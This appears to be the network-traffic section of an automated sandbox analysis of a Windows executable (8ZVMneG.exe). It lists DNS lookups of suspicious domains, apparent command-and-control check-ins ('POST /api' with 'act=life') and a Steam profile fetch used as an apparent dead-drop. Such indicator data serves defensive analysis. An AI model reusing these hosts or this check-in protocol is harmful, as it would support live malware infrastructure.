Dec 20, 2024 07:04:17.761739969 CET	49737	443	192.168.2.6	104.21.66.86
Dec 20, 2024 07:04:17.761751890 CET	443	49737	104.21.66.86	192.168.2.6
Dec 20, 2024 07:04:17.761926889 CET	49737	443	192.168.2.6	104.21.66.86
Dec 20, 2024 07:04:17.761934042 CET	443	49737	104.21.66.86	192.168.2.6
Dec 20, 2024 07:04:17.766901970 CET	443	49737	104.21.66.86	192.168.2.6
Dec 20, 2024 07:04:17.767033100 CET	49737	443	192.168.2.6	104.21.66.86
Dec 20, 2024 07:04:17.767056942 CET	443	49737	104.21.66.86	192.168.2.6
Dec 20, 2024 07:04:17.783596992 CET	443	49737	104.21.66.86	192.168.2.6
Dec 20, 2024 07:04:17.783649921 CET	49737	443	192.168.2.6	104.21.66.86
Dec 20, 2024 07:04:17.783678055 CET	443	49737	104.21.66.86	192.168.2.6
Dec 20, 2024 07:04:17.827771902 CET	49737	443	192.168.2.6	104.21.66.86
Dec 20, 2024 07:04:17.880825043 CET	443	49737	104.21.66.86	192.168.2.6
Dec 20, 2024 07:04:17.921495914 CET	49737	443	192.168.2.6	104.21.66.86
Dec 20, 2024 07:04:17.921525955 CET	443	49737	104.21.66.86	192.168.2.6
Dec 20, 2024 07:04:17.956643105 CET	443	49737	104.21.66.86	192.168.2.6
Dec 20, 2024 07:04:17.956753016 CET	443	49737	104.21.66.86	192.168.2.6
Dec 20, 2024 07:04:17.956809044 CET	49737	443	192.168.2.6	104.21.66.86
Dec 20, 2024 07:04:17.956871033 CET	443	49737	104.21.66.86	192.168.2.6
Dec 20, 2024 07:04:17.957003117 CET	49737	443	192.168.2.6	104.21.66.86
Dec 20, 2024 07:04:17.957019091 CET	443	49737	104.21.66.86	192.168.2.6
Dec 20, 2024 07:04:17.957094908 CET	443	49737	104.21.66.86	192.168.2.6
Dec 20, 2024 07:04:17.957210064 CET	49737	443	192.168.2.6	104.21.66.86
Dec 20, 2024 07:04:17.959775925 CET	49737	443	192.168.2.6	104.21.66.86
Dec 20, 2024 07:04:17.959810972 CET	443	49737	104.21.66.86	192.168.2.6
Dec 20, 2024 07:04:17.959858894 CET	49737	443	192.168.2.6	104.21.66.86
Dec 20, 2024 07:04:17.959875107 CET	443	49737	104.21.66.86	192.168.2.6
Dec 20, 2024 07:04:19.035836935 CET	49748	443	192.168.2.6	104.21.66.86
Dec 20, 2024 07:04:19.035886049 CET	443	49748	104.21.66.86	192.168.2.6
Dec 20, 2024 07:04:19.035962105 CET	49748	443	192.168.2.6	104.21.66.86
Dec 20, 2024 07:04:19.036257982 CET	49748	443	192.168.2.6	104.21.66.86
Dec 20, 2024 07:04:19.036274910 CET	443	49748	104.21.66.86	192.168.2.6
Dec 20, 2024 07:04:20.251360893 CET	443	49748	104.21.66.86	192.168.2.6
Dec 20, 2024 07:04:20.251562119 CET	49748	443	192.168.2.6	104.21.66.86
Dec 20, 2024 07:04:20.252831936 CET	49748	443	192.168.2.6	104.21.66.86
Dec 20, 2024 07:04:20.252844095 CET	443	49748	104.21.66.86	192.168.2.6
Dec 20, 2024 07:04:20.253168106 CET	443	49748	104.21.66.86	192.168.2.6
Dec 20, 2024 07:04:20.261653900 CET	49748	443	192.168.2.6	104.21.66.86
Dec 20, 2024 07:04:20.261820078 CET	49748	443	192.168.2.6	104.21.66.86
Dec 20, 2024 07:04:20.261852980 CET	443	49748	104.21.66.86	192.168.2.6
Dec 20, 2024 07:04:21.083671093 CET	443	49748	104.21.66.86	192.168.2.6
Dec 20, 2024 07:04:21.083806992 CET	443	49748	104.21.66.86	192.168.2.6
Dec 20, 2024 07:04:21.083857059 CET	49748	443	192.168.2.6	104.21.66.86
Dec 20, 2024 07:04:21.083906889 CET	49748	443	192.168.2.6	104.21.66.86
Dec 20, 2024 07:04:21.083928108 CET	443	49748	104.21.66.86	192.168.2.6
Dec 20, 2024 07:04:21.189266920 CET	49754	443	192.168.2.6	104.21.66.86
Dec 20, 2024 07:04:21.189316034 CET	443	49754	104.21.66.86	192.168.2.6
Dec 20, 2024 07:04:21.189393997 CET	49754	443	192.168.2.6	104.21.66.86
Dec 20, 2024 07:04:21.189681053 CET	49754	443	192.168.2.6	104.21.66.86
Dec 20, 2024 07:04:21.189698935 CET	443	49754	104.21.66.86	192.168.2.6
Dec 20, 2024 07:04:22.408716917 CET	443	49754	104.21.66.86	192.168.2.6
Dec 20, 2024 07:04:22.408919096 CET	49754	443	192.168.2.6	104.21.66.86
Dec 20, 2024 07:04:22.410001040 CET	49754	443	192.168.2.6	104.21.66.86
Dec 20, 2024 07:04:22.410022020 CET	443	49754	104.21.66.86	192.168.2.6
Dec 20, 2024 07:04:22.410559893 CET	443	49754	104.21.66.86	192.168.2.6
Dec 20, 2024 07:04:22.411756992 CET	49754	443	192.168.2.6	104.21.66.86
Dec 20, 2024 07:04:22.411894083 CET	49754	443	192.168.2.6	104.21.66.86
Dec 20, 2024 07:04:22.411941051 CET	443	49754	104.21.66.86	192.168.2.6
Dec 20, 2024 07:04:22.411997080 CET	49754	443	192.168.2.6	104.21.66.86
Dec 20, 2024 07:04:22.412004948 CET	443	49754	104.21.66.86	192.168.2.6
Dec 20, 2024 07:04:23.214493036 CET	443	49754	104.21.66.86	192.168.2.6
Dec 20, 2024 07:04:23.214720964 CET	443	49754	104.21.66.86	192.168.2.6
Dec 20, 2024 07:04:23.214926958 CET	49754	443	192.168.2.6	104.21.66.86
Dec 20, 2024 07:04:23.214970112 CET	49754	443	192.168.2.6	104.21.66.86
Dec 20, 2024 07:04:23.214988947 CET	443	49754	104.21.66.86	192.168.2.6
Dec 20, 2024 07:04:23.386877060 CET	49760	443	192.168.2.6	104.21.66.86
Dec 20, 2024 07:04:23.386917114 CET	443	49760	104.21.66.86	192.168.2.6
Dec 20, 2024 07:04:23.386972904 CET	49760	443	192.168.2.6	104.21.66.86
Dec 20, 2024 07:04:23.387336969 CET	49760	443	192.168.2.6	104.21.66.86
Dec 20, 2024 07:04:23.387350082 CET	443	49760	104.21.66.86	192.168.2.6
Dec 20, 2024 07:04:24.647840977 CET	443	49760	104.21.66.86	192.168.2.6
Dec 20, 2024 07:04:24.648072958 CET	49760	443	192.168.2.6	104.21.66.86
Dec 20, 2024 07:04:24.683618069 CET	49760	443	192.168.2.6	104.21.66.86
Dec 20, 2024 07:04:24.683676004 CET	443	49760	104.21.66.86	192.168.2.6
Dec 20, 2024 07:04:24.684549093 CET	443	49760	104.21.66.86	192.168.2.6
Dec 20, 2024 07:04:24.685925007 CET	49760	443	192.168.2.6	104.21.66.86
Dec 20, 2024 07:04:24.686106920 CET	49760	443	192.168.2.6	104.21.66.86
Dec 20, 2024 07:04:24.686172962 CET	443	49760	104.21.66.86	192.168.2.6
Dec 20, 2024 07:04:24.686254025 CET	49760	443	192.168.2.6	104.21.66.86
Dec 20, 2024 07:04:24.686269999 CET	443	49760	104.21.66.86	192.168.2.6
Dec 20, 2024 07:04:25.615819931 CET	443	49760	104.21.66.86	192.168.2.6
Dec 20, 2024 07:04:25.616096973 CET	443	49760	104.21.66.86	192.168.2.6
Dec 20, 2024 07:04:25.616163969 CET	49760	443	192.168.2.6	104.21.66.86
Dec 20, 2024 07:04:25.616348982 CET	49760	443	192.168.2.6	104.21.66.86
Dec 20, 2024 07:04:25.616389990 CET	443	49760	104.21.66.86	192.168.2.6
Dec 20, 2024 07:04:25.977165937 CET	49765	443	192.168.2.6	104.21.66.86
Dec 20, 2024 07:04:25.977258921 CET	443	49765	104.21.66.86	192.168.2.6
Dec 20, 2024 07:04:25.977346897 CET	49765	443	192.168.2.6	104.21.66.86
Dec 20, 2024 07:04:25.977658033 CET	49765	443	192.168.2.6	104.21.66.86
Dec 20, 2024 07:04:25.977693081 CET	443	49765	104.21.66.86	192.168.2.6
Dec 20, 2024 07:04:27.198915958 CET	443	49765	104.21.66.86	192.168.2.6
Dec 20, 2024 07:04:27.199007988 CET	49765	443	192.168.2.6	104.21.66.86
Dec 20, 2024 07:04:27.228327990 CET	49765	443	192.168.2.6	104.21.66.86
Dec 20, 2024 07:04:27.228365898 CET	443	49765	104.21.66.86	192.168.2.6
Dec 20, 2024 07:04:27.229254961 CET	443	49765	104.21.66.86	192.168.2.6
Dec 20, 2024 07:04:27.232520103 CET	49765	443	192.168.2.6	104.21.66.86
Dec 20, 2024 07:04:27.235841990 CET	49765	443	192.168.2.6	104.21.66.86
Dec 20, 2024 07:04:27.235867977 CET	443	49765	104.21.66.86	192.168.2.6
Dec 20, 2024 07:04:27.960411072 CET	443	49765	104.21.66.86	192.168.2.6
Dec 20, 2024 07:04:27.960535049 CET	443	49765	104.21.66.86	192.168.2.6
Dec 20, 2024 07:04:27.960585117 CET	49765	443	192.168.2.6	104.21.66.86
Dec 20, 2024 07:04:27.960705996 CET	49765	443	192.168.2.6	104.21.66.86
Dec 20, 2024 07:04:27.960730076 CET	443	49765	104.21.66.86	192.168.2.6
Dec 20, 2024 07:04:28.441849947 CET	49771	443	192.168.2.6	104.21.66.86
Dec 20, 2024 07:04:28.441900969 CET	443	49771	104.21.66.86	192.168.2.6
Dec 20, 2024 07:04:28.442044020 CET	49771	443	192.168.2.6	104.21.66.86
Dec 20, 2024 07:04:28.442528009 CET	49771	443	192.168.2.6	104.21.66.86
Dec 20, 2024 07:04:28.442543030 CET	443	49771	104.21.66.86	192.168.2.6
Dec 20, 2024 07:04:29.656738997 CET	443	49771	104.21.66.86	192.168.2.6
Dec 20, 2024 07:04:29.656806946 CET	49771	443	192.168.2.6	104.21.66.86
Dec 20, 2024 07:04:29.658190966 CET	49771	443	192.168.2.6	104.21.66.86
Dec 20, 2024 07:04:29.658273935 CET	443	49771	104.21.66.86	192.168.2.6
Dec 20, 2024 07:04:29.658514977 CET	443	49771	104.21.66.86	192.168.2.6
Dec 20, 2024 07:04:29.659715891 CET	49771	443	192.168.2.6	104.21.66.86
Dec 20, 2024 07:04:29.660502911 CET	49771	443	192.168.2.6	104.21.66.86
Dec 20, 2024 07:04:29.660538912 CET	443	49771	104.21.66.86	192.168.2.6
Dec 20, 2024 07:04:29.660733938 CET	49771	443	192.168.2.6	104.21.66.86
Dec 20, 2024 07:04:29.660769939 CET	443	49771	104.21.66.86	192.168.2.6
Dec 20, 2024 07:04:29.660872936 CET	49771	443	192.168.2.6	104.21.66.86
Dec 20, 2024 07:04:29.660938978 CET	443	49771	104.21.66.86	192.168.2.6
Dec 20, 2024 07:04:29.661484957 CET	49771	443	192.168.2.6	104.21.66.86
Dec 20, 2024 07:04:29.661506891 CET	443	49771	104.21.66.86	192.168.2.6
Dec 20, 2024 07:04:29.661639929 CET	49771	443	192.168.2.6	104.21.66.86
Dec 20, 2024 07:04:29.661676884 CET	443	49771	104.21.66.86	192.168.2.6
Dec 20, 2024 07:04:29.661825895 CET	49771	443	192.168.2.6	104.21.66.86
Dec 20, 2024 07:04:29.661853075 CET	443	49771	104.21.66.86	192.168.2.6
Dec 20, 2024 07:04:29.661879063 CET	49771	443	192.168.2.6	104.21.66.86
Dec 20, 2024 07:04:29.662038088 CET	49771	443	192.168.2.6	104.21.66.86
Dec 20, 2024 07:04:29.662062883 CET	49771	443	192.168.2.6	104.21.66.86
Dec 20, 2024 07:04:29.707329035 CET	443	49771	104.21.66.86	192.168.2.6
Dec 20, 2024 07:04:29.707446098 CET	49771	443	192.168.2.6	104.21.66.86
Dec 20, 2024 07:04:29.707487106 CET	49771	443	192.168.2.6	104.21.66.86
Dec 20, 2024 07:04:29.707535028 CET	49771	443	192.168.2.6	104.21.66.86
Dec 20, 2024 07:04:29.755331039 CET	443	49771	104.21.66.86	192.168.2.6
Dec 20, 2024 07:04:29.755470037 CET	49771	443	192.168.2.6	104.21.66.86
Dec 20, 2024 07:04:29.755517960 CET	49771	443	192.168.2.6	104.21.66.86
Dec 20, 2024 07:04:29.755537033 CET	49771	443	192.168.2.6	104.21.66.86
Dec 20, 2024 07:04:29.803335905 CET	443	49771	104.21.66.86	192.168.2.6
Dec 20, 2024 07:04:29.804785967 CET	49771	443	192.168.2.6	104.21.66.86
Dec 20, 2024 07:04:29.847333908 CET	443	49771	104.21.66.86	192.168.2.6
Dec 20, 2024 07:04:30.022654057 CET	443	49771	104.21.66.86	192.168.2.6
Dec 20, 2024 07:04:31.957848072 CET	443	49771	104.21.66.86	192.168.2.6
Dec 20, 2024 07:04:31.958086967 CET	443	49771	104.21.66.86	192.168.2.6
Dec 20, 2024 07:04:31.958138943 CET	49771	443	192.168.2.6	104.21.66.86
Dec 20, 2024 07:04:31.958245039 CET	49771	443	192.168.2.6	104.21.66.86
Dec 20, 2024 07:04:31.958262920 CET	443	49771	104.21.66.86	192.168.2.6
Dec 20, 2024 07:04:31.986852884 CET	49781	443	192.168.2.6	104.21.66.86
Dec 20, 2024 07:04:31.986943007 CET	443	49781	104.21.66.86	192.168.2.6
Dec 20, 2024 07:04:31.987020016 CET	49781	443	192.168.2.6	104.21.66.86
Dec 20, 2024 07:04:31.987356901 CET	49781	443	192.168.2.6	104.21.66.86
Dec 20, 2024 07:04:31.987391949 CET	443	49781	104.21.66.86	192.168.2.6
Dec 20, 2024 07:04:33.207181931 CET	443	49781	104.21.66.86	192.168.2.6
Dec 20, 2024 07:04:33.207297087 CET	49781	443	192.168.2.6	104.21.66.86
Dec 20, 2024 07:04:33.208425999 CET	49781	443	192.168.2.6	104.21.66.86
Dec 20, 2024 07:04:33.208436012 CET	443	49781	104.21.66.86	192.168.2.6
Dec 20, 2024 07:04:33.208852053 CET	443	49781	104.21.66.86	192.168.2.6
Dec 20, 2024 07:04:33.211857080 CET	49781	443	192.168.2.6	104.21.66.86
Dec 20, 2024 07:04:33.211885929 CET	49781	443	192.168.2.6	104.21.66.86
Dec 20, 2024 07:04:33.211940050 CET	443	49781	104.21.66.86	192.168.2.6
Dec 20, 2024 07:04:33.968821049 CET	443	49781	104.21.66.86	192.168.2.6
Dec 20, 2024 07:04:33.968931913 CET	443	49781	104.21.66.86	192.168.2.6
Dec 20, 2024 07:04:33.968986034 CET	49781	443	192.168.2.6	104.21.66.86
Dec 20, 2024 07:04:33.969094992 CET	49781	443	192.168.2.6	104.21.66.86
Dec 20, 2024 07:04:33.969105959 CET	443	49781	104.21.66.86	192.168.2.6
Dec 20, 2024 07:04:33.969120979 CET	49781	443	192.168.2.6	104.21.66.86
Dec 20, 2024 07:04:33.969125986 CET	443	49781	104.21.66.86	192.168.2.6

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 20, 2024 07:04:01.704511881 CET	64563	53	192.168.2.6	1.1.1.1
Dec 20, 2024 07:04:02.020720005 CET	53	64563	1.1.1.1	192.168.2.6
Dec 20, 2024 07:04:02.024945974 CET	58022	53	192.168.2.6	1.1.1.1
Dec 20, 2024 07:04:03.018352032 CET	58022	53	192.168.2.6	1.1.1.1
Dec 20, 2024 07:04:03.286108017 CET	53	58022	1.1.1.1	192.168.2.6
Dec 20, 2024 07:04:03.287022114 CET	53	58022	1.1.1.1	192.168.2.6
Dec 20, 2024 07:04:05.333755016 CET	51110	53	192.168.2.6	1.1.1.1
Dec 20, 2024 07:04:06.343594074 CET	51110	53	192.168.2.6	1.1.1.1
Dec 20, 2024 07:04:06.608409882 CET	53	51110	1.1.1.1	192.168.2.6
Dec 20, 2024 07:04:06.608872890 CET	53	51110	1.1.1.1	192.168.2.6
Dec 20, 2024 07:04:08.719711065 CET	59800	53	192.168.2.6	1.1.1.1
Dec 20, 2024 07:04:09.021348953 CET	53	59800	1.1.1.1	192.168.2.6
Dec 20, 2024 07:04:09.024667025 CET	49664	53	192.168.2.6	1.1.1.1
Dec 20, 2024 07:04:09.248236895 CET	53	49664	1.1.1.1	192.168.2.6
Dec 20, 2024 07:04:09.249701977 CET	61345	53	192.168.2.6	1.1.1.1
Dec 20, 2024 07:04:09.469168901 CET	53	61345	1.1.1.1	192.168.2.6
Dec 20, 2024 07:04:09.472443104 CET	61530	53	192.168.2.6	1.1.1.1
Dec 20, 2024 07:04:09.689680099 CET	53	61530	1.1.1.1	192.168.2.6
Dec 20, 2024 07:04:09.691346884 CET	55633	53	192.168.2.6	1.1.1.1
Dec 20, 2024 07:04:09.909045935 CET	53	55633	1.1.1.1	192.168.2.6
Dec 20, 2024 07:04:09.910772085 CET	54862	53	192.168.2.6	1.1.1.1
Dec 20, 2024 07:04:10.213623047 CET	53	54862	1.1.1.1	192.168.2.6
Dec 20, 2024 07:04:10.217242002 CET	54246	53	192.168.2.6	1.1.1.1
Dec 20, 2024 07:04:10.355187893 CET	53	54246	1.1.1.1	192.168.2.6
Dec 20, 2024 07:04:12.893002987 CET	53060	53	192.168.2.6	1.1.1.1
Dec 20, 2024 07:04:13.122935057 CET	53	53060	1.1.1.1	192.168.2.6

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Dec 20, 2024 07:04:01.704511881 CET	192.168.2.6	1.1.1.1	0xb91	Standard query (0)	bellflamre.click	A (IP address)	IN (0x0001)	false
Dec 20, 2024 07:04:02.024945974 CET	192.168.2.6	1.1.1.1	0x5b7f	Standard query (0)	immureprech.biz	A (IP address)	IN (0x0001)	false
Dec 20, 2024 07:04:03.018352032 CET	192.168.2.6	1.1.1.1	0x5b7f	Standard query (0)	immureprech.biz	A (IP address)	IN (0x0001)	false
Dec 20, 2024 07:04:05.333755016 CET	192.168.2.6	1.1.1.1	0x6eb2	Standard query (0)	deafeninggeh.biz	A (IP address)	IN (0x0001)	false
Dec 20, 2024 07:04:06.343594074 CET	192.168.2.6	1.1.1.1	0x6eb2	Standard query (0)	deafeninggeh.biz	A (IP address)	IN (0x0001)	false
Dec 20, 2024 07:04:08.719711065 CET	192.168.2.6	1.1.1.1	0x8c12	Standard query (0)	effecterectz.xyz	A (IP address)	IN (0x0001)	false
Dec 20, 2024 07:04:09.024667025 CET	192.168.2.6	1.1.1.1	0x15c4	Standard query (0)	diffuculttan.xyz	A (IP address)	IN (0x0001)	false
Dec 20, 2024 07:04:09.249701977 CET	192.168.2.6	1.1.1.1	0x881d	Standard query (0)	debonairnukk.xyz	A (IP address)	IN (0x0001)	false
Dec 20, 2024 07:04:09.472443104 CET	192.168.2.6	1.1.1.1	0xae18	Standard query (0)	wrathful-jammy.cyou	A (IP address)	IN (0x0001)	false
Dec 20, 2024 07:04:09.691346884 CET	192.168.2.6	1.1.1.1	0x6653	Standard query (0)	awake-weaves.cyou	A (IP address)	IN (0x0001)	false
Dec 20, 2024 07:04:09.910772085 CET	192.168.2.6	1.1.1.1	0x72d7	Standard query (0)	sordid-snaked.cyou	A (IP address)	IN (0x0001)	false
Dec 20, 2024 07:04:10.217242002 CET	192.168.2.6	1.1.1.1	0xe940	Standard query (0)	steamcommunity.com	A (IP address)	IN (0x0001)	false
Dec 20, 2024 07:04:12.893002987 CET	192.168.2.6	1.1.1.1	0x321c	Standard query (0)	lev-tolstoi.com	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Dec 20, 2024 07:04:02.020720005 CET	1.1.1.1	192.168.2.6	0xb91	Name error (3)	bellflamre.click	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2024 07:04:03.286108017 CET	1.1.1.1	192.168.2.6	0x5b7f	No error (0)	immureprech.biz		178.62.201.34	A (IP address)	IN (0x0001)	false
Dec 20, 2024 07:04:03.286108017 CET	1.1.1.1	192.168.2.6	0x5b7f	No error (0)	immureprech.biz		104.131.68.180	A (IP address)	IN (0x0001)	false
Dec 20, 2024 07:04:03.286108017 CET	1.1.1.1	192.168.2.6	0x5b7f	No error (0)	immureprech.biz		45.77.249.79	A (IP address)	IN (0x0001)	false
Dec 20, 2024 07:04:03.287022114 CET	1.1.1.1	192.168.2.6	0x5b7f	No error (0)	immureprech.biz		178.62.201.34	A (IP address)	IN (0x0001)	false
Dec 20, 2024 07:04:03.287022114 CET	1.1.1.1	192.168.2.6	0x5b7f	No error (0)	immureprech.biz		104.131.68.180	A (IP address)	IN (0x0001)	false
Dec 20, 2024 07:04:03.287022114 CET	1.1.1.1	192.168.2.6	0x5b7f	No error (0)	immureprech.biz		45.77.249.79	A (IP address)	IN (0x0001)	false
Dec 20, 2024 07:04:06.608409882 CET	1.1.1.1	192.168.2.6	0x6eb2	No error (0)	deafeninggeh.biz		178.62.201.34	A (IP address)	IN (0x0001)	false
Dec 20, 2024 07:04:06.608409882 CET	1.1.1.1	192.168.2.6	0x6eb2	No error (0)	deafeninggeh.biz		104.131.68.180	A (IP address)	IN (0x0001)	false
Dec 20, 2024 07:04:06.608409882 CET	1.1.1.1	192.168.2.6	0x6eb2	No error (0)	deafeninggeh.biz		45.77.249.79	A (IP address)	IN (0x0001)	false
Dec 20, 2024 07:04:06.608872890 CET	1.1.1.1	192.168.2.6	0x6eb2	No error (0)	deafeninggeh.biz		178.62.201.34	A (IP address)	IN (0x0001)	false
Dec 20, 2024 07:04:06.608872890 CET	1.1.1.1	192.168.2.6	0x6eb2	No error (0)	deafeninggeh.biz		104.131.68.180	A (IP address)	IN (0x0001)	false
Dec 20, 2024 07:04:06.608872890 CET	1.1.1.1	192.168.2.6	0x6eb2	No error (0)	deafeninggeh.biz		45.77.249.79	A (IP address)	IN (0x0001)	false
Dec 20, 2024 07:04:09.021348953 CET	1.1.1.1	192.168.2.6	0x8c12	Name error (3)	effecterectz.xyz	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2024 07:04:09.248236895 CET	1.1.1.1	192.168.2.6	0x15c4	Name error (3)	diffuculttan.xyz	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2024 07:04:09.469168901 CET	1.1.1.1	192.168.2.6	0x881d	Name error (3)	debonairnukk.xyz	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2024 07:04:09.689680099 CET	1.1.1.1	192.168.2.6	0xae18	Name error (3)	wrathful-jammy.cyou	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2024 07:04:09.909045935 CET	1.1.1.1	192.168.2.6	0x6653	Name error (3)	awake-weaves.cyou	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2024 07:04:10.213623047 CET	1.1.1.1	192.168.2.6	0x72d7	Name error (3)	sordid-snaked.cyou	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2024 07:04:10.355187893 CET	1.1.1.1	192.168.2.6	0xe940	No error (0)	steamcommunity.com		23.55.153.106	A (IP address)	IN (0x0001)	false
Dec 20, 2024 07:04:13.122935057 CET	1.1.1.1	192.168.2.6	0x321c	No error (0)	lev-tolstoi.com		104.21.66.86	A (IP address)	IN (0x0001)	false
Dec 20, 2024 07:04:13.122935057 CET	1.1.1.1	192.168.2.6	0x321c	No error (0)	lev-tolstoi.com		172.67.157.254	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

immureprech.biz

deafeninggeh.biz

steamcommunity.com

lev-tolstoi.com

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.6	49708	178.62.201.34	443	2144	C:\Users\user\Desktop\8ZVMneG.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-20 06:04:04 UTC	262	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: immureprech.biz
2024-12-20 06:04:04 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-12-20 06:04:05 UTC	94	IN	HTTP/1.1 200 OK Date: Fri, 20 Dec 2024 06:04:05 GMT Content-Length: 0 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.6	49710	178.62.201.34	443	2144	C:\Users\user\Desktop\8ZVMneG.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-20 06:04:08 UTC	263	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: deafeninggeh.biz
2024-12-20 06:04:08 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-12-20 06:04:08 UTC	94	IN	HTTP/1.1 200 OK Date: Fri, 20 Dec 2024 06:04:08 GMT Content-Length: 0 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.6	49721	23.55.153.106	443	2144	C:\Users\user\Desktop\8ZVMneG.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-20 06:04:11 UTC	219	OUT	GET /profiles/76561199724331900 HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: steamcommunity.com
2024-12-20 06:04:12 UTC	1905	IN	HTTP/1.1 200 OK Server: nginx Content-Type: text/html; charset=UTF-8 Content-Security-Policy: default-src blob: data: https: 'unsafe-inline' 'unsafe-eval'; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://community.fastly.steamstatic.com/ https://cdn.fastly.steamstatic.com/steamcommunity/public/assets/ https://api.steampowered.com/ https://recaptcha.net https://www.google.com/recaptcha/ https://www.gstatic.cn/recaptcha/ https://www.gstatic.com/recaptcha/ https://www.youtube.com/ https://s.ytimg.com; object-src 'none'; connect-src 'self' https://community.fastly.steamstatic.com/ https://store.steampowered.com/ https://checkout.steampowered.com/ wss://community.steam-api.com/websocket/ https://api.steampowered.com/ https://login.steampowered.com/ https://help.steampowered.com/ https://steam.tv/ https://steamcommunity.com/ https://.valvesoftware.com https://.steambeta.net https://.discovery.beta.steamserver.net https://.steamcontent.com https://steambroadcast.akamaized.net https://steambroadcast-test.akamaized.net https://broadcast.st.dl.eccdnx.com https://lv.queniujq. [TRUNCATED] Expires: Mon, 26 Jul 1997 05:00:00 GMT Cache-Control: no-cache Date: Fri, 20 Dec 2024 06:04:12 GMT Content-Length: 35121 Connection: close Set-Cookie: sessionid=9141f4cafee052551e41627d; Path=/; Secure; SameSite=None Set-Cookie: steamCountry=US%7C185ce35c568ebbb18a145d0cabae7186; Path=/; Secure; HttpOnly; SameSite=None
2024-12-20 06:04:12 UTC	14479	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 20 72 65 73 70 6f 6e 73 69 76 65 22 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 3e 0a 09 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0a 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 74 68 65 6d 65 2d 63 6f 6c 6f 72 22 20 63 6f 6e 74 65 6e 74 3d 22 23 31 37 31 61 32 31 22 3e 0a 09 09 3c 74 69 74 6c 65 3e Data Ascii: <!DOCTYPE html><html class=" responsive" lang="en"><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"><meta name="viewport" content="width=device-width,initial-scale=1"><meta name="theme-color" content="#171a21"><title>
2024-12-20 06:04:12 UTC	10097	IN	Data Raw: 2e 63 6f 6d 2f 3f 73 75 62 73 65 63 74 69 6f 6e 3d 62 72 6f 61 64 63 61 73 74 73 22 3e 0a 09 09 09 09 09 09 42 72 6f 61 64 63 61 73 74 73 09 09 09 09 09 09 09 09 09 09 09 3c 2f 61 3e 0a 09 09 09 09 09 09 09 3c 2f 64 69 76 3e 0a 09 09 09 09 09 09 09 09 09 09 3c 61 20 63 6c 61 73 73 3d 22 6d 65 6e 75 69 74 65 6d 20 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 73 74 6f 72 65 2e 73 74 65 61 6d 70 6f 77 65 72 65 64 2e 63 6f 6d 2f 61 62 6f 75 74 2f 22 3e 0a 09 09 09 09 41 62 6f 75 74 09 09 09 3c 2f 61 3e 0a 09 09 09 09 09 09 09 09 09 09 3c 61 20 63 6c 61 73 73 3d 22 6d 65 6e 75 69 74 65 6d 20 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 68 65 6c 70 2e 73 74 65 61 6d 70 6f 77 65 72 65 64 2e 63 6f 6d 2f 65 6e 2f 22 3e 0a 09 09 09 09 53 55 50 50 4f 52 54 09 Data Ascii: .com/?subsection=broadcasts">Broadcasts</a></div><a class="menuitem " href="https://store.steampowered.com/about/">About</a><a class="menuitem " href="https://help.steampowered.com/en/">SUPPORT
